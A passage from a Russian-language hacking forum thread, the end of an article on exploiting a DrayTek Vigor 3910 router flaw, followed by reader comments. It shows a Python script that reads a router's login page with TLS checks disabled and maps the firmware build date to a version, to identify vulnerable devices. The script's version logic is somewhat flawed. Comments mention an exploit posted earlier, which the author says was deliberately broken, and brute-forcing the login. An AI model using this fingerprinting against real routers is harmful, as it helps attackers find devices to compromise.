Мы могли бы полноценно разобрать полученый html, но это не к чему. Разделим ответ от сервера через ';' и найдём строку с buildtime:
Python:
return_string = str(r.read())
return_string = return_string.split(";")

for line in return_string:
    if line[0:14] == "var buildtime=":

Теперь переведём день, месяц и год в числовой формат:
Python:
mounth = int(datetime.strptime(build_date[0:3], "%b").strftime("%m"))
day = int(build_date[4:6])
year = int(build_date[7:-1])

А затем итерируемся по нащей таблице и выводим версию:
Python:
for x in builds:
    last_version = x[3]
    if mounth <= x[1]:
        if year <= x[0]:
             break
print("Vigor's firmware version: ", last_version)

Вот полный код скрипта:
Python:
import http.client
import sys
import ssl
from datetime import datetime

ssl._create_default_https_context = ssl._create_unverified_context

builds = [
    (2019, 12, 17, '3.9.1.2'),
    (2020, 2,  14, '3.9.1.3'),
    (2020, 3,   2, '3.9.2.0'),
    (2020, 4,  17, '3.9.2.1'),
    (2020, 6,  15, '3.9.2.2'),
    (2020, 8,  31, '3.9.2.3'),
    (2020, 10, 27, '3.9.2.4'),
    (2020, 12, 22, '3.9.2.5'),
    (2021, 3,  23, '3.9.6.0'),
    (2021, 6,   7, '3.9.6.2'),
    (2021, 7,   8, '3.9.6.3'),
    (2021, 10, 20, '3.9.7.1'),
    (2021, 12, 28, '3.9.7.2'),
    (2022, 4,  26, '4.3.1.1'),
    (2022, 5,   6, '4.3.1.0'),
]


def main():
    cn = http.client.HTTPSConnection('vigor_ip', 443)
    cn.request('GET', '/weblogin.htm')

    r = cn.getresponse()
    return_string = str(r.read())
    return_string = return_string.split(";")

    for line in return_string:
        if line[0:14] == "var buildtime=":
            build_date = line[15:-9]
            mounth = int(datetime.strptime(
                build_date[0:3], "%b").strftime("%m"))
            day = int(build_date[4:6])
            year = int(build_date[7:-1])

            print("Vigor's firmware build date:")
            print(year, mounth, day, sep="-")

            last_version = "unvulnerable"
            for x in builds:
                last_version = x[3]
                if mounth <= x[1]:
                    if year <= x[0]:
                        break
            print("Vigor's firmware version: ", last_version)


main()

Ссылки
Все ссылки что я оставлял в статье:
Итоги
Повторюсь, эта статья не ставит перед собой цель пройти полный путь написания эксплойта с 0, и предназначена в первую очередь для новичков.
Я сам ещё новичок в эксплуатации IoT устройств, поэтому если по содержанию статьи есть какие-то замечания, или есть более удачные идеи как проэксплуатировать эту уязвимость - не стесняйтесь писать прямо тут.

Распакованные sohod64.bin, версий 3.9.6, 3.9.7.2 и 4.3.1 я залил на мегу. На случай, если вы захотите покопаться в бинарях сами:
Если файлы удалят, или вам будут нужны ещё какие-то файлы связанные со статьёй - пишите в пм или прямо тут.

Я давно ничего не писал для форума, и надеюсь за время отсутствия писать не разучился

Спасибо за прочтение,
Azrv3l cпециально для xss.pro
 
Последнее редактирование:
ни фига не понятно, но очень интересно :D
зачем они пихают прошивку роутера в qemu? потому что у них один вариант прошивки - aarch64 - на все возможные модели железок, и на железе с, например, x86 процессорами, они так же запускают прошивку, собранную под aarch64, но в qemu для x86?

ещё удивило, что в "ынтырпрайзном" роутере нет капчи на странице логина. там хотя бы ограничение на количество попыток ввода пароля есть?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Крутая статья, спасибо. Как раз начинаю курить тему с реверсом фирмварей, материала маловато, поэтому твоя статья очень в тему.
 
ни фига не понятно, но очень интересно :D
зачем они пихают прошивку роутера в qemu? потому что у них один вариант прошивки - aarch64 - на все возможные модели железок, и на железе с, например, x86 процессорами, они так же запускают прошивку, собранную под aarch64, но в qemu для x86?

ещё удивило, что в "ынтырпрайзном" роутере нет капчи на странице логина. там хотя бы ограничение на количество попыток ввода пароля есть?
Решение пихать фирмварю в qemu странное само по себе. Наверное были причины, раз уж они даже qemu под себя переделали. Может быть так дешевле :confused:
В младших моделях у них sohod64.bin без qemu крутиться. Быть может поленились переписывать для Vigor 3910.

А и ограничение на кол-во попыток не установлено. Хотя возможно я просто лимита не достиг, не пытался их брутить.

Крутая статья, спасибо. Как раз начинаю курить тему с реверсом фирмварей, материала маловато, поэтому твоя статья очень в тему.
Благодарю, приятно слышать
 
Azrv3l, если ты напишешь еще по IoT, будет топ )
Интересного материала для работы по IoT много, но на авторские статьи очень много времени уходит. Постараюсь писать чаще =)
Спасибо за похвалу
 
А и ограничение на кол-во попыток не установлено. Хотя возможно я просто лимита не достиг, не пытался их брутить.
и это "ынтырпрайз"? срамота. у меня в нонейм китайском вайфай роутере капча есть хотя там ещё и рутовый бэкдор есть, лол, которым я успешно пользуюсь для тонких настроек :D


Решение пихать фирмварю в qemu странное само по себе. Наверное были причины, раз уж они даже qemu под себя переделали. Может быть так дешевле :confused:
В младших моделях у них sohod64.bin без qemu крутиться. Быть может поленились переписывать для Vigor 3910.

возможно это сделано для упрощения разработки и тестирования - разрабы на своих компах так же в qemu гоняют написанные прошивки.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Крутая статья, спасибо. Как раз начинаю курить тему с реверсом фирмварей, материала маловато, поэтому твоя статья очень в тему.
Посмотри блог автора binwalk, там было много годного материала по вулнресерчу в IoT.
 
Чтобы понять что за алгоритм сжатия использовался, давайте поищем какие-нибудь маркеры. Вот они:
Тут надо либо ссылку на утилиту котрая будет находить такие маркеры, либо ссулку на лист таких маркеров.
Ну сам прикинь ты типа в не в теме а тебе добрый чувак объясняет вот же смотри 02 4c .. .. это же означает что использован 1 алг из 10 вероятных, как само собой разумеющееся.
Помню встречал риперы ресурсов и они парсили бинари и выдавали сводку че там было найдено, потому что если глаз не наметан на всю эту мэджик ебалу то нихрена в бинаре нуб не увидит, да и прошаренный рискует заебаться искавши.
 
Тут надо либо ссылку на утилиту котрая будет находить такие маркеры, либо ссулку на лист таких маркеров.
Ну сам прикинь ты типа в не в теме а тебе добрый чувак объясняет вот же смотри 02 4c .. .. это же означает что использован 1 алг из 10 вероятных, как само собой разумеющееся.
Помню встречал риперы ресурсов и они парсили бинари и выдавали сводку че там было найдено, потому что если глаз не наметан на всю эту мэджик ебалу то нихрена в бинаре нуб не увидит, да и прошаренный рискует заебаться искавши.
Было бы славно такую утилиту найти, чтобы сама маркеры искала =) В моём случае таким добрым чуваком был автор выступления на Hexacon. Он с расшифровкой бинаря загемороился, а я просто немного погуглил, разобрался и в общих чертах объяснил что происходит. Если бы пропустил этот момент, то не совсем ясно было бы откуда прошивка в чистом виде взялась.
 
Было бы славно такую утилиту найти, чтобы сама маркеры искала =) В моём случае таким добрым чуваком был автор выступления на Hexacon. Он с расшифровкой бинаря загемороился, а я просто немного погуглил, разобрался и в общих чертах объяснил что происходит. Если бы пропустил этот момент, то не совсем ясно было бы откуда прошивка в чистом виде взялась.
Риперы ресурсов, их в основном юзают для локализации игр. Они шарят по бинарям и поддерживают кучу всяких форматов. Когда то давно такие юзал. Они тебе выдергивают все в отдельные файлы и дают карту где что лежало.
 
автор ты лучший. у меня были попытки самому победить данную цвешку при выходе презентации хексакона, но застрял на эмуляции qemu, в итоге бросил это дело.
Но готовый эксп зря наверное выложил, лучше бы сами новички до этого дошли, так скажем через тернии к звездам, а то сейчас в слепую копи паст и ноль приобретенных знаний....
 
автор ты лучший. у меня были попытки самому победить данную цвешку при выходе презентации хексакона, но застрял на эмуляции qemu, в итоге бросил это дело.
Но готовый эксп зря наверное выложил, лучше бы сами новички до этого дошли, так скажем через тернии к звездам, а то сейчас в слепую копи паст и ноль приобретенных знаний....
Тот код что я приложил полноценно не работает =) Я специально оставил мелкие ошибки(байты поменял и т.д.) чтобы не было Crtl+C Ctrl+V. С этим RCE не получишь
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх